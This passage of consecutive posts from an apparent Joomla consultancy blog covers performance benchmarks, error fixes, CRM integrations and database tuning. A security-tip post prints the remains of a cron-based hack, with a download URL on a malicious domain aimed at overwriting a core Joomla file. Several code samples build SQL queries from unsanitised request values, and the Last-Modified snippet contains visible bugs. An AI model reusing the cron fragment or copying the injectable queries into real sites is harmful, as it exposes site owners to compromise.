Now it’s more like it. The document length was 18691 bytes, which is very close to the 18052 bytes returned by the Joomla 3.7.5 website (by the way, it would be interesting to know why there is a 639 bytes difference between the 2 – but it’s really outside the scope of this post). The number of completed requests is 714 requests, with a mean time of 140.583 milliseconds. The Joomla 3.7.5 website, in case you don’t feel like scrolling up a bit, handled 737 requests with a mean time of 135.688 milliseconds.

The Chart

At this point, the whole thing became very interesting. We had meaningful and close results. So, we decided to play with the number of connections: we issued a series of ab commands on each website with increasingly higher number of connections (e.g. we changed -c 10 to -c 20, -c 30, etc… – note that we waited a few minutes after each command for the load to return back to 0), and we got this beautiful chart (probably what you have been waiting for since the beginning of this post):

Joomla 3.7.5 vs Joomla 3.8.1

Figure 1: Joomla 3.7.5 vs Joomla 3.8.1

You can see in the above chart 2 things: 1) Joomla 3.7.5 consistently performs better than Joomla 3.8.1, but only slightly, and 2) the 2 lines diverge more with the number of connections. In fact, Joomla 3.8.1 is 3% slower than Joomla 3.7.5 with 10 concurrent connections, but with 50 concurrent connections, it is 6% slower.

So, there you have it. Joomla 3.8.1 is slower than Joomla 3.7.5, and we’re totally not lying with stats charts (please trust us!). In fact, you can conduct the same test yourself and you will likely get similar results.

We hope that you found this post informative and that you had fun reading it. If you have any questions about it, or if you need help optimizing your Joomla 3.8.1 website, then all you need to do is to contact us. Our fees are affordable (and haven’t increased for the past 7 years), our work is clean, and we are the friendliest Joomla developers in the Milky Way (unless, of course, Mars turns out to be populated by extremely friendly Joomla developers).

“Application Instantiation Error: No database selected” Joomla Error

A new client emailed us that he was seeing the following error on his Joomla website:

Error displaying the error page

He told us that he started seeing the above error when the hosting company moved his website from one server to another. He told us that the hosting company debugged the issue for a long time, but couldn’t determine the problem.

So, we logged in to the cPanel account of the website, and then we went to the File Manager, and from there, we edited the configuration.php file and changed the value of $error_reporting from default to maximum (we couldn’t do that through the backend of the Joomla website since both the backend and the frontend were showing the same error).

When we visited the website again, it displayed the following error:

Error displaying the error page: Application Instantiation Error: No database selected

Aha, now we have a real, meaningful error, and we know that it has to do with the database. But, are the connection parameters incorrect? No, because if they were, then we would see the following error:

Error displaying the error page: Application Instantiation Error: Could not connect to MySQL.

So, we know for sure that the database host, username, and password (these are all set in the configuration.php file) are all correct. But, is the database name correct? So, we checked the name of the database in the configuration.php and we matched it to the one in phpMyAdmin and it did.

We were confused – we were confident that the database parameters were correct, yet we were sure that the problem was with the database parameters (yes, we know, it doesn’t make any sense!). So, we went back to the cPanel homepage, we clicked on the MySQL databases icon, we created another database user, and we assigned that user to the database (we granted the user all the privileges). We then modified the configuration.php values for $user and $password to match those of the user that we just created. We loaded the website and this time it worked. But why wasn’t it working for the old user?

We investigated the issue by comparing the user that we have created and the previous user, and it didn’t take us long to see the different: the old user didn’t have any privileges on the database. It seems that the user was created by the hosting company, but it was not assigned any privileges to the database. So, under the Add User To Database section on the MySQL Databases page in cPanel, we selected the old user under User, and then we selected the Joomla database under Database, we then clicked on the Add button, and on the next page, we clicked on the checkbox ALL PRIVILEGES to select all possible database privileges, and finally we clicked on Make Changes at the bottom. We reverted back the configuration.php to what it was and, unsurprisingly, the website worked!

So, if you have the same problem on your website, then make sure that the right privileges are assigned to the database user on the Joomla database. If you have already done that and it didn’t fix the problem, or if you need help doing that, then please contact us. Our fees are right, our work is clean, and our Joomla experience is unquestionable!

A Super Elegant Method to Check if a Joomla User is a Super User

A few weeks ago, we wrote a post in which we admitted that we haven’t discovered fire. This morning, however, we had a new discovery akin to discovering fire, and it was a very clean, very elegant, very lovely method to check if a user is a super user. It all happened by coincidence when were checking the contents of the UserHelper.php file which is located under the libraries/src/User folder. We believe that our discovery is a defining moment in the history of mankind!

We know you’re anxious to know what the method is, so, here’s the code:

JUserHelper::checkSuperUserInUsers(array('5'));

The above checks if 5 is the ID of a super user. If it is, then the function will return true, if not, then it will return false.

What happens if you supply an array of users to the function?

As you can see from the above code, the checkSuperUserInUsers static method accepts an array of users (not just one user), so what happens if you pass an array of users to the function? Well, the function will return true as soon as it detects a user in the array that is a super user. If there are no super users in the array, then the function will return false.

Why does this method exist?

The checkSuperUserInUsers is mainly used to block batch actions on super users when the user performing the action is not a super user. For example, if a “non super user” selects a group of users in the Joomla backend, and clicks on the Delete button on the top, then Joomla will not allow the deletion when one or more selected users are super users. The function checkSuperUserInUsers is used to do the checking.

We hope that you enjoyed our little post this Saturday morning. If, by any chance, you have a Joomla development project, and you need help with it, then please contact us. Our prices are right, our code is clean, and we have over a decade of Joomla experience.

“Call to undefined method JApplicationSite::isClient()” when Updating to Joomla 3.8

A new client approached us yesterday and told us that they were seeing a blank page on the frontend and on the backend of their Joomla website after updating it to 3.8.0. Since a blank page is a sign of a fatal error, we set the error reporting on the client’s site to “maximum” in the configuration.php file, and then checked the frontend of the website, which was displaying the following:

Fatal error: Call to undefined method JApplicationSite::isClient() in /home/[cpanel-user]/public_html/plugins/system/languagefilter/languagefilter.php on line 94

The backend of the website was displaying the following error:

Fatal error: Call to undefined method JApplicationAdministrator::isClient() in /home/[cpanel-user]/public_html/plugins/system/languagefilter/languagefilter.php on line 94

(Note: Enabling debugging displayed the following error on the backend and on the fronted of the Joomla website: Fatal error: Call to undefined method JProfiler::setStart() in /home/[cpanel-user]/public_html/administrator/index.php on line 45)

If you look closely at the above errors, you will notice that the problem is that 2 basic Joomla classes, JApplicationSite and JApplicationAdministrator, are not being loaded. But why?

We investigated the problem very thoroughly. We looked at all the files that were used to load core classes or support the loading of core classes, notably, the following 2 files:

  • The file loader.php which is located under the libraries/cms/class/ folder.
  • The file ClassLoader.php which is located under the libraries/vendor/composer folder.

We couldn’t find anything.

We then thought it could be a problem with the PHP version that the client was using, which was PHP 5.4, and so we switched to 5.6, and then 7.0, and then 7.1. None worked!

We then started thinking about the hosting environment, could it be? Well, the client was using GoDaddy, which should cause any decent developer to become a bit skeptical at the very least (in fact, we could just blame GoDaddy for the heat wave we’re having right now in Montreal and everyone would believe us!). So, we copied the website over to one of our servers, and we tested it there. Same exact problem!

Eventually, we decided to copy a fresh copy of Joomla 3.8 onto the website. So, we downloaded Joomla 3.8, we then removed the images and the templates folder from the downloaded zip file, we extracted the zip file onto the website, and we tried loading the website, still, the same error.

Then it suddenly hit us, what if the problem is similar to this other problem that we resolved a while ago which was caused by Joomla loading old library files instead of the new ones? So, we renamed the existing libraries folder to libraries_old, and we copied a fresh copy of the libraries folder onto the website (from the Joomla 3.8 zip file that we just downloaded) and then we tested it. This time it worked!

Aha! So, the problem was caused by the wrong library file(s) being loaded? But which one(s)? We were determined to find out the answer to our question, so, we printed out all the included files on the fixed site, and then, we reverted back and printed out all the included files on the broken site, and we compared the list of files.

There were, in fact, many, many files that were included from the wrong places on the broken Joomla website. For example, the factory.php file was included from the libraries/joomla folder instead of the libraries/src folder. There were also many files included from the libraries/cms folder, and these files were included from folders that should no longer exist under the libraries/cms folder. In fact, the libraries/cms folder in Joomla 3.8 has only 3 folders inside it (Joomla 3.7.5 has 30 folders inside the libraries/cms folder).

It seems that the client has either updated the site manually (e.g. by overwriting the files from a fresh Joomla install), or the client has updated the site from the backend but from an old Joomla website where the update process does not include removing these old library files/folders. In any case, we think the problem is really caused by Joomla, which should take into consideration any update scenario. The problem is also ironic, since it highlights the fact that there is a huge change in the file structure in Joomla 3.8, completely contradicting a statement by a core Joomla developer that the “the difference from 3.7.5 is relatively minor”.

So, if you are seeing the Call to undefined method JApplicationSite::isClient() error on your Joomla website, then try renaming the libraries folder to libraries_old and then copying the libraries folder from a fresh Joomla 3.8 install. If it doesn’t work, or if you are seeing a different error, then please contact us. We are always ready to help, our fees are very reasonable, and we really love working on Joomla websites!

How We Integrated Joomla’s “Email this Link to a Friend” with HubSpot

Note: This integration consists of a core override. As usual, please keep in mind that core overrides can lead to stability issues and can be wiped out with a future Joomla update.

A client of ours asked us to integrate Joomla’s “Email this Link to a Friend” (or “Send Article to a Friend”) with HubSpot. What they wanted to do was to add the person sending the article as well as the person receiving it as contacts. As you already know, when someone sends an article to a friend, he is asked to fill in his name, his email, and his friend’s email. So, in other words, we will have the name and the email of the first contact (the person who sends the article), while we will have only the email of the second contact (the person who receives the article).

The first thing that we did was creating the form in HubSpot. The form contained 3 fields: “Email”, “First Name”, and “Last Name”. The internal field names for those fields were “email”, “firstname”, and “lastname”, respectively. Only the email was set to required. Once we created the form, we clicked on the Embed tab on the left, and we saw the following in the textarea just under Copy the snippet below onto your site:

<!--[if lte IE 8]>
<script charset="utf-8" type="text/javascript" src="//js.hsforms.net/forms/v2-legacy.js"></script>
<![endif]-->
<script charset="utf-8" type="text/javascript" src="//js.hsforms.net/forms/v2.js"></script>
<script>
  hbspt.forms.create({ 
    portalId: '111111',
    formId: '1a1a1a1a-2b2b-3c3c-4d4d-5f5f5f5f5f5f'
  });
</script>

We then took note of the value of portalId (which was 111111) and formId (which was 1a1a1a1a-2b2b-3c3c-4d4d-5f5f5f5f5f5f) in the code above. (Note: These are not the real values and you should replace portalId and formId with your form’s values).

After creating the form and taking note of the values of portalId and formId, we moved over to the fun stuff: it was time for sending the contacts from the Send Article to a Friend Joomla form to HubSpot. So, we opened the file controller.php which is located under the components/com_mailto folder, and we added the following function at the very beginning of the MailtoController class:

private function addToHubSpot($email, $name=''){
  //note - you will need to replace "111111" with your portalId, and you will need to replace "1a1a1a1a-2b2b-3c3c-4d4d-5f5f5f5f5f5f" with your formId.
  $url = 'https://forms.hubspot.com/uploads/form/v2/111111/1a1a1a1a-2b2b-3c3c-4d4d-5f5f5f5f5f5f';

  $pageURL = JUri::current();
  $pageName = "Send Article to a Friend";
  
  $name = trim($name);
  if (!empty($name)){
    $arrName = explode(' ', $name);
    if (count($arrName) > 0){
      $firstname  = $arrName[0];
      array_shift($arrName);
      $lastname = implode(' ', $arrName);
    }
    else{
      $firstname = $arrName[0];
      $lastname = $arrName[0];
    }
  }
  
  $fields = array(
    'firstname' => $firstname,
    'lastname' => $lastname,
    'email' => $email
  );
  $strFields = http_build_query($fields);

  jimport('joomla.user.helper');
  $randomPassword = JUserHelper::genRandomPassword(32);
  
  $hsContext = array(
      "hutk" => $randomPassword,
      "ipAddress" => "192.168.1.12", 
      "pageUrl" => $pageURL,
      "pageName" => $pageName
  );
  $strContext = json_encode($hsContext);
  $strContext = urlencode($strContext);
  $strFields = $strFields.'&hs_context='.$strContext;
  
  $ch = curl_init($url);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $strFields);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_TIMEOUT, 2); //wait a maximum of 2 seconds
  curl_setopt($ch, CURLOPT_HTTPHEADER, array(
      'Content-Type: application/x-www-form-urlencoded'
  ));  
  $result = curl_exec($ch);
}

Then, just before $this->display(); near the very end, we added the following code:

//add the sender to HubSpot
$this->addToHubSpot($from, $sender);
//now add the person receiving the email only if it is different than the person sending the email
if ($from != $email){
  $this->addToHubSpot($email, '');
}

As you can see in the above code, we are only adding the receiver's email if the email of the person sending it is different from that of the receiver. This is because many people send articles to themselves.

Now, after doing the above, we filled in an "Email this Link to a Friend" form, and to our pleasant surprise, it worked as it should: it made 2 form submissions in HubSpot and created 2 contacts! Hooray!

We hope that you enjoyed this post. If you need help with this integration or with any HubSpot integration on your Joomla website, then please contact us. We have implemented many HubSpot integrations on many Joomla websites, our fees are super affordable, and our work is super clean!

7 Reasons Why Your Joomla Website Response Time Is Suddenly High

We often get calls/emails from clients stating that the response time of their Joomla websites is suddenly high. They say that the day before everything was fine, and all of a sudden in the morning, the website became super slow. Of course, the first thing that we ask them is: “Has anything changed between yesterday and today?”, and their answer is typically “Not that I know of”. But, when we work on the problem, we discover that something did change, and that “something” was the cause of the problem. Since we have worked on many of these websites, we have compiled a list of 7 reasons that can cause a Joomla website to become super slow all of a sudden:

  1. Hacked website: When a website is hacked, it typically attempts to grab the contents of a malicious URL using PHP’s curl library or using PHP’s file_get_contents function (the latter can only work when the extremely unsafe allow_url_fopen PHP setting is enabled). This process is typically instantaneous, however, when the malicious URL gets blocked by the host or when the malicious website is hosted on a very slow (and cheap) host, the PHP function will wait for x seconds (where x is determined by the max_execution_time PHP setting) before timing out and serving the page. Obviously, the solution to this problem is to cleanup the website.
  2. Draconian firewall settings: Many hosts resort to SYN_FLOOD protection in order to minimize the impact of a DoS (Denial of Service) attack. While there is nothing wrong with that, some cheap/inexperienced hosts set the SYN_FLOOD value (at the firewall level) to a very low number, causing a very slow response time on the website. This is somehow ironic, because the firewall ends up causing the very same problem it was installed to protect the website from. The fix to this problem simply consists of asking the host to increase the SYN_FLOOD value.

  3. A switch to a slower hard drive: What most people do not know is that hard drives have a huge, huge impact on the performance of the website. In fact, when the website of a client of ours was moved from an SSD drive to an HDD drive, the performance degraded substantially, and the website suddenly became mostly unresponsive (at best it was super slow). Of course, the fix to the problem in this case was to switch back to an SSD.

  4. Disabled caching: There are many Joomla administrators who give super user access to people who don’t deserve it – typically, this is done because these people outrank the Joomla administrators. The problem with this is that some of these people are a bit technical, and, even though the word bit is the essence of programming, it becomes a huge curse when combined with the word technical or knowledge. Essentially, these super users will not only have enough rope to hang themselves, but also the whole website. For example, when a problem happens on the site, and they read that fixing the problem consists of clearing the cache, they go ahead and disable it altogether thinking that they fixed the problem forever. Shortly afterwards, the website becomes very slow or crashes, with nobody having the slightest idea of what might have caused the issue. A super quick fix to this problem is to re-enable caching on the site.

    Another problem causing this issue is the switch from one caching mechanism to another, for example, after switching a client site from File to Memcache caching, we experienced an increase in response time (although it wasn’t substantial) and we reverted back quickly.

  5. A Joomla plugin/extension: Some time ago, we investigated a Joomla website that was taking exactly 10 seconds to respond. At first, we thought it was hacked, but eventually, it turned out that there was a plugin called pingomatic which was using PHP’s curl to grab the contents of a remote URL that was no longer accessible, and so the request was timing out. Disabling the pingomatic plugin addressed the problem.

  6. High server load on shared hosting: If your website is on a shared host (or even a VPS), then keep in mind that other websites running on the same server can affect the performance of your website. If a website on the same server is resource hungry, and if not enough monitoring/control is done by the host, then this will become your problem and your website will become very slow. An ideal solution to this problem is to move to a dedicated server, a not-so-ideal solution is to tell your host about it and ask them if they can move the offending website elsewhere.

  7. Networking issues: In some instances, we have concluded that high latency was caused by networking issues/DNS issues. Naturally, fixing issues with routing/networking is outside the scope of developers, and is 100% the responsibility of the host. So, check with your host if you think that the sudden slowness on your Joomla website is caused by a networking issue.

We hope that you found this post informative and light, and that it helped you get to the bottom of the sudden performance issue on your Joomla website. As always, we are always here for you if you need professional help. Just contact us and we’ll ensure that the problem on your Joomla website is solved swiftly (well, as fast as we can) and affordably.

On the Joomla “onContentBeforeSave” and “onContentAfterSave” Events

If you’re into Joomla plugin development, then you are most likely familiar with the onContentBeforeSave and the onContentAfterSave events. The first event is triggered just before someone saves any Joomla content item, and the second event is triggered (you’ve guessed it) just after someone saves a Joomla content item.

The onContentBeforeSave event is typically used to alter the data that is about to be saved to the database, or to do something just before the data is saved.

The onContentAfterSave event is typically used to do something after the data is saved, for example, redirect to a specific page, or perform one or more database activities.

Now, if you read the first paragraph very carefully, you will understand that there is a problem. Since these events are run when any content item is saved, then this means that they can run at the wrong time. For example, if you have code that should be run when an article is saved, then this code will also run when you save other content items (such as categories or content items of non-core extensions)… In the absolute majority of cases, this is not a desirable behavior. So, in order to avoid this problem, developers add a condition in the beginning of the event to tell it which context it should run in. For example, if a developer wants to have the onContentBeforeSave run only when an article is saved, then he adds the following line to the beginning of the onContentBeforeSave function:

if ($context !== 'com_content.form') return true;

The above line ensures that the event runs only when an article is being saved.

What the absolute majority of Joomla developers don’t know is that there is another, more elegant solution to the problem, and it is by assigning different names to the above events based on the content type. The Joomla core already takes advantage of this hidden functionality: let us take a look at the model of the plugin extension, which is the file plugin.php which is located under the administrator/components/com_plugins/models. In particular, let us look at the constructor of that model:

public function __construct($config = array())
{
	$config = array_merge(
		array(
			'event_after_save'  => 'onExtensionAfterSave',
			'event_before_save' => 'onExtensionBeforeSave',
			'events_map'        => array(
				'save' => 'extension'
			)
		), $config
	);

	parent::__construct($config);
}

You can see that the event_before_save and the event_after_save configuration parameters were set to onExtensionBeforeSave and onExtensionAfterSave respectively. By default, these 2 configuration parameters are set to onContentBeforeSave and onContentAfterSave (this default is set in the admin.php file which is located under the libraries/legacy/model folder). So, when a Joomla plugin is saved, it triggers the onExtensionBeforeSave and onExtensionAfterSave events instead of the onContentBeforeSave and onContentAfterSave events. What does this mean? Well, it means that you can avoid triggering the default before save and the after save events by explicitly setting the values of the event_before_save and the event_after_save configuration parameters in your extension’s model.

We haven’t really discovered fire in this post, but we have demonstrated one best practice in the implementation of Joomla extensions, a best practice that we believe can benefit some Joomla developers out there by saving them some headache.

Now if you, our dear reader, need help with your Joomla events or with the development of Joomla extensions, then please contact us. We are experts in Joomla coding, our work is super clean, and our fees are really affordable!

A Simple Joomla Database Optimization Tip for a Huge Performance Gain

We love optimization work, there’s always something new to discover, and there’s always something new to learn. Our love for optimization led us to discover a gem, a little optimization gem that literally halved the load of a server powering an extremely large and high traffic Joomla website. As usual, we are always thrilled to share our discoveries with our readers, so here goes…

While investigating load issues on a huge Joomla website that we manage and that we previously optimized, we noticed that the following query was taking a relatively long time:

SELECT a.id, a.title, a.alias, a.catid, a.created, a.created_by, a.created_by_alias, a.created as publish_up,a.publish_down,a.state AS state FROM #__content AS a WHERE a.state = 1 AND (a.catid = 55 OR a.catid IN ('300', '301', '302', '303')) AND (a.publish_up = '0000-00-00 00:00:00' OR a.publish_up <= '2017-09-07 18:09:39') AND (a.publish_down = '0000-00-00 00:00:00' OR a.publish_down >= '2017-09-07 18:09:39') ORDER BY a.publish_up DESC, a.created LIMIT 20

The above query is a modification and an optimization of the core Joomla query that is used to generate the list of articles for pages/modules. The modification consists of displaying articles from multiple categories (instead of a specific category), while the optimization consists of an oldie but goldie optimization process that we first implemented on Joomla 2.5, and that is still valid until today (the website in question is Joomla 3.7.5). Having said that, the heart of the query is still representative of the Joomla core query, which means that any problem in the above query is also a problem in an unmodified and an unoptimized core Joomla article selection query.

In order to learn more about the issue, we went to phpMyAdmin, and we added an EXPLAIN directive to the beginning of the above query, and then we executed it. The query executed was as follows:

EXPLAIN SELECT a.id, a.title, a.alias, a.catid, a.created, a.created_by, a.created_by_alias, a.created as publish_up,a.publish_down,a.state AS state FROM #__content AS a WHERE a.state = 1 AND (a.catid = 55 OR a.catid IN ('300', '301', '302', '303')) AND (a.publish_up = '0000-00-00 00:00:00' OR a.publish_up <= '2017-09-07 18:09:39') AND (a.publish_down = '0000-00-00 00:00:00' OR a.publish_down >= '2017-09-07 18:09:39') ORDER BY a.publish_up DESC, a.created LIMIT 20

Here’s what we saw:

Explain Query Result

Figure 1: Joomla’s article selection query explained using the EXPLAIN tool

If you look at the key in the above image, you will notice that the MySQL engine chose idx_state (which is the state index) for the key, which is far from ideal. The key should be a combination of all the condition fields and all the order fields, which means that in our query above, the key should consist of the following fields: state, catid, publish_up, publish_down, and created. So, we created an index called idx_articles which consists of all those fields using the following query:

ALTER TABLE `#__content` ADD INDEX `idx_articles` ( `state`, `catid`, `created`, `publish_up`, `publish_down`);

After creating the above index, we re-issued the EXPLAIN query and here’s what we saw:

EXPLAIN Query Result After Indexing

Figure 2: Joomla’s article selection query explained using the EXPLAIN tool after adding the “idx_articles” index

As you can see in the above image, the MySQL database is now choosing the right index that is fully optimized for the article selection query. Additionally, the number of rows examined has decreased considerably.

So, how did this simple optimization affect the server load?

Marvelously, we can safely say! The load was more than halved. It was at 2.2, and it became 0.8, yes, it was that good! If you think it’s too good to be true, then try it and see for yourself (and let us know)! While we don’t guarantee that you will see the same extraordinary result that we saw (especially if you are using extensive caching on your Joomla website), we have the feeling that you will thank us for this.

Now, if you need help with creating the index or if you didn’t see any noticeable gain after creating the index, then please contact us. We are experts in optimizing Joomla websites, and our fees are super reasonable!

How We Integrated GetResponse with RSForm Pro on a Joomla Website

A client of ours wanted to integrate webinar purchasing on her Joomla website. She had a GetResponse account where she creates webinars, and she wanted to give her clients the ability to purchase her GetResponse webinars through her website.

Unfortunately, GetResponse does not technically allow either directly or indirectly the purchase of webinars. So, in order to have someone join a webinar, the person with access to the GetResponse account must manually create the contact (if it wasn’t created previously) and then add the contact to the webinar. Of course, this can only be done after charging the contact for the webinar, which was done manually over the phone. Obviously, we needed to automate all that, and so we leveraged the GetResponse API in order to do it.

Our vision was to have the contact visit a form, that (among other fields) displays a dropdown of all the GetResponse webinars, and then, have a payment method (on the same form) that the contact can use to pay for the webinar. Once payment is made and is successful, then the contact is added automatically to the webinar using the API.

So, the first thing that we did was to generate an API key on the GetResponse website (naturally, you will need to have a valid login information in order to do that).

We then downloaded the GetResponse API Client Library from here, and we modified it to accommodate our needs (we mainly added a few functions). The modified client library can be downloaded here. Once downloaded, we extracted the API file to the api folder (a folder which we manually created under the main directory of the Joomla website).

The next step was to download and install RSForm Pro onto the client’s website, and then download and install the RSForm Pro PayPal Plugin. Once that was done, we started creating the form. The form had the following fields: Name, Email, Webinar, rsfp_product, Payment Type, Total to be paid, PayPal, and Pay for Webinar. Here’s a quick explanation of all the fields:

  • The Name and the Email field are self-explanatory. They are both of type Textbox.
  • The Webinar was of type Dropdown and it had the following code in the Items field:

    if (!function_exists('getResponseWebinars')){
    	function getResponseWebinars(){
    		require_once(JPATH_ROOT.'/api/getresponse.php');
    		$objGetResponse = new GetResponse('your_getresponse_api_key');
    		$objWebinars = $objGetResponse->getWebinars();
    		$arrResult = array('|Select Webinar');
    		foreach ($objWebinars as $webinar){
    			$arrResult[] = $webinar->webinarId.'__'.$webinar->campaigns[0]->campaignId.'__'.$webinar->name.'|'.$webinar->name;
    		}
    		return $arrResult;
    	}
    }
    
    $ignoreThisValue='<code>';return getResponseWebinars();

    The above code dynamically populates the dropdown with all the webinars created in GetResponse. Note: If you are intrigued by the last line in the above code, then check this post for an explanation.

  • The rsfp_product field was of type Single Product and it was used to set the price of the webinar (note: all the webinars had the same price).

  • The Choose Payment field was of type Choose Payment, and it contained an automatically generated list of payment methods. In our case, the only payment method was PayPal.

  • The PayPal field was of type PayPal, and it was necessary to have PayPal as a payment method. Note that the PayPal payment settings are defined in RSForm Pro‘s configuration page (which can be accessed by going to Components -> RSForm! Pro -> Configuration).

  • The Pay for Webinar button was just a submit button.

Once we created the form above, we viewed it (without submitting any data) and it was indeed displaying the webinars in the dropdown.

Now, what remained was to perform the proper actions when a payment is successful. So, we created a plugin called RSFP Payment Success, which implements the rsfp_afterConfirmPayment event, which is triggered when a payment is successful. We added the following code in the rsfp_afterConfirmPayment function:

//get submission information
$db = JFactory::getDbo();
$sql = "SELECT FieldName, FieldValue FROM #__rsform_submission_values WHERE SubmissionId='".$SubmissionId."'";
$db->setQuery($sql);
$arrResult = $db->loadAssocList();
$arrFinalResult = array();
for ($i = 0; $i < count($arrResult); $i++){
	$arrFinalResult[$arrResult[$i]['FieldName']] = $arrResult[$i]['FieldValue'];
}

//now use the API to add the contact and then tag it
require_once(JPATH_ROOT.'/api/getresponse.php');
$objGetResponse = new GetResponse('your_getresponse_api_key');

$strName = $arrFinalResult['Name'];
$strEmail = $arrFinalResult['Email'];
$strWebinar = $arrFinalResult['Webinar'];
$arrWebinar = explode('__', $strWebinar);
$strWebinarID = $arrWebinar[0];
$strCampaignID = $arrWebinar[1];
$strWebinarTitle = preg_replace("/[^A-Za-z0-9]/", '', $arrWebinar[2]);

// Add the contact and associate it with a campaign
$result = $objGetResponse->addContact(array('email'=>$strEmail, 'name'=>$strName, 'campaign'=>array('campaignId'=>$strCampaignID)));

//Add the webinar name as a tag if it doesn't exist
$webinarGetResponseID = $objGetResponse->getOrCreateTagByName($strWebinarTitle);
$resultUpdateContact = $objGetResponse->updateContact($contact_id, array('tags'=>array('tagId'=>$webinarGetResponseID)));

The above code creates the contact if it doesn't exist, then it creates a tag generated from the title of the webinar (also if it doesn't exist), and then tags the contact with the webinar tag. Unfortunately, GetResponse doesn't have any means to add a contact directly to a webinar through the API, hence the workaround with using tags (this means that a slight manual work is required by our client in order to add all contacts with a certain tag to a certain webinar).

Have we had any hiccups with the integration?

Yes - we did. The first major hiccup is the one that we just mentioned, and it is the fact that GetResponse does not have an API method to add a contact to a webinar. We overcame this problem by resorting to tags. It wasn't the most elegant solution, but it was sufficient to the client.

The other major hiccup that we had, is that when a contact is first created in GetResponse, he must verify his account by clicking on a link in a welcome email. If he doesn't do that, then a contact ID will not be generated, and the tagging won't work. This problem, however, was somehow erratic, but, in order to avoid it altogether, we added a row in a table called #__cron_tag_contacts containing the email of the contact and the tag ID when a payment was successful. We then created a small file called tag_contacts.php, which was run by a cron every 15 minutes, and that checked the table for any contacts that were properly verified (e.g. they had an ID in GetResponse). Once a contact gets verified, the script tags it and then deletes its associated row from the table.

We hope that you found this post useful, and that it helped you with your integration with GetResponse. We have tried to provide as much information and guidance as we can about the subject, but, we reckon that the complexity with this integration is a bit high and that some readers may need help with the implementation. If you're one of those readers, then fear not, we are here for you. Just contact us and we'll implement this for you quickly, efficiently, and affordably!

Joomla Security Tip: Regularly Check the Physical Cron Files on Your Server

Most administrators check the cron jobs that they have on their server by just logging into their cPanel and clicking on the Cron Jobs link under the Advanced section.

The more advanced administrators check their cron jobs by typing the following command in the shell:

crontab -e

So, in the absolute majority of cases, an administrator does not directly open a physical file to check the cron jobs, he checks them through an interface whether through cPanel or the Linux crontab (or a different interface altogether). Now, the question is, where does the cron information come from? In other words, where is it stored?

Well, on a CentOS server (which is the typical server used for a WHM environment), cron jobs are stored in files under the directory /var/spool/cron. Each file is named after a user (each user is typically the username of a cPanel account), and each file contains the cron jobs for that particular user.

Now, you might be wondering, is there any point to this? Why should anyone check the actual physical file instead of using an interface to view the cron jobs? Well, because, in some cases, some information is not displayed in the interface, and, in most of these cases, this information is malicious. Let us give you an example…

Yesterday morning we were hired to add a cron job to a Joomla website, and, for some reason, we were having problems creating this cron job using the cPanel interface and using the crontab -e command, so, we went straight to editing the physical file containing the cron. Here’s what we did:

  • We ssh’d to the server as root.
  • We opened the file cpanel-user which is located under the /var/spool/cron folder (you will need to change cpanel-user to your cPanel username) for editing the following way:

    vi /var/spool/cron/cpanel-user

  • We saw this code:

    SHELL="/bin/bash"
    MAILTO=""
    DOWNLOAD_URL="http://[malicious-domain].com/u/w.gz"
    LOCAL_FILE_PATH="/home/[cpanel-user]/public_html/libraries/joomla/client/client.php"
    TMP_DIR="/var/tmp"

As you can see in the above code, only the first line is benign, the remaining lines are malicious. On the bright side, however, the code had no effect because it was missing the actual cron job. Its seems that the Joomla website we were working on had a cron job hack identical to the one we described here (a malicious file was being downloaded from DOWNLOAD_URL, and was being extracted to the client.php core Joomla file), and whoever fixed it didn’t fully cleanup the cron file (he just removed the cron job from the interface). So, we cleaned up the file and, after doing that, we were able to add the cron job through the interface.

So, it’s always a good idea to regularly check the contents of the files located under the /var/spool/cron folder. If you find anything suspicious and you are not sure what to do, then please contact us. We are experts in Joomla security, our work is quick, and our fees are always affordable!

How to Change the “Last-Modified” HTTP Header in Joomla + Free Plugin

A regular client of ours came to us yesterday evening with an interesting task: she wanted to set the Last-Modified HTTP header on an article page to the actual modified date of an article. We thought it was an easy task, until we started working on it.

You see, by default, Joomla sets the Last-Modified HTTP header to the current date, unless of course, it is using caching, in that case it sets the Last-Modified HTTP header to the cache time of the article. Logically, the Last-Modified date should be the last modification date of the article, but, in most scenarios, nobody cares about this. However, our client was using a tool which relied on the Last-Modified HTTP header in its data collection and display.

So, we dug in the code to find where the Last-Modified HTTP header was set, and we quickly (well, not so quickly) discovered that it was in the file web.php which is located under the libraries/joomla/application folder. In fact, the whole thing was done in this line:

$this->setHeader('Last-Modified', gmdate('D, d M Y H:i:s') . ' GMT', true);

As you can see in the above line, the Last-Modified HTTP header is set to the current date and time; it completely ignores the modification time of any item the user is currently viewing. If we want to change the Last-Modified value to the actual modification time of the article, we’ll have to replace the above line with the following code:

$currentView =JFactory::getApplication()->input->get('view');
$currentOption =JFactory::getApplication()->input->get('option');
if ($currentView == 'article' && $currentOption == 'option'){
	$currentArticleID = JFactory::getApplication()->input->get('id');
	$sql = "SELECT `modified` FROM `#__content WHERE `id`='$currentArticleID'";
	$db->setQuery($sql);
	$strDateModified = $db->loadResult();
	$objDateModified = new JDate($strDateModified);
	$strDateModified = $objDateModified->format('D, d M Y H:i:s').' GMT';
	$this->setHeader('Last-Modified', $strDateModified, true);
}
else
	$this->setHeader('Last-Modified', gmdate('D, d M Y H:i:s') . ' GMT', true);

The above code will work, however, there is one little problem with it: it is a core modification, and that’s why, at itoctopus, we have devised a better method to do this job, we have developed a plugin, and you can download it here! All you need to do is to just download the plugin, install it, enable it, and that’s it! Your article pages will display the actual last modification date of the article, and not the current date.

Now, here are some FAQs about the plugin:

  • Is it really free?

    Yes – it is free. You can use it anywhere and for anything. You can modify it and do anything with it. An attribution to itoctopus would be nice, but not necessary.

  • Is it supported?

    No – we do not offer free support for any of our extensions, since all of our extensions are free. If you would like support for any of our extensions then please keep in mind that our fees apply.

  • Does the plugin only work with Joomla articles? Can it work with K2 items?

    As it is, the plugin only works with Joomla articles, but, it can easily modified to accommodate other types of content items, such as K2 items. If you need help in this area, then please contact us.

Finally, we would like to stress the point that the plugin is provided as is, without any explicit or implicit warranty/responsibility. It may or may not do what we claim it does, and it may or may not destroy your website or our entire solar system if used, we don’t know, so use at your own risk! Again, we don’t assume a shred of responsibility for this plugin, so use at your own risk!

Oh, and by the way, we have a quick note to the Joomla team, the onAfterRespond can never ever be triggered. Please check the code in the respond function; it took us ages to discover that this event does not work!

How to Display Articles from Multiple Categories on a Category Blog Page

Note: The solution in this post is a modification to a core file. Proceed at your own risk, and keep in mind that a Joomla update may wipe out your changes.

